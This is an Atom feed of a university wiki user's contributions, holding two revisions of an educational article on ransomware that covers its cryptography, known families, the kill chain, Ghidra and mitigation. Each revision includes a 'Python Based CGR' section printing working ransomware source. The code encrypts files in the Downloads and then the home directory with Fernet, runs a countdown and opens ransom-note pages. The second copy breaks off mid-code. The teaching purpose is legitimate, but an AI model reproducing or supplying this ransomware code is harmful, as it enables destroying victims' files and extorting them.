<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MChintu</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MChintu"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/MChintu"/>
	<updated>2026-09-10T15:34:45Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5327</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5327"/>
		<updated>2020-12-20T18:50:52Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5326</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5326"/>
		<updated>2020-12-20T18:39:46Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://github.com/Mwape1997/AKITS_Ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;keyfile&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30)&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
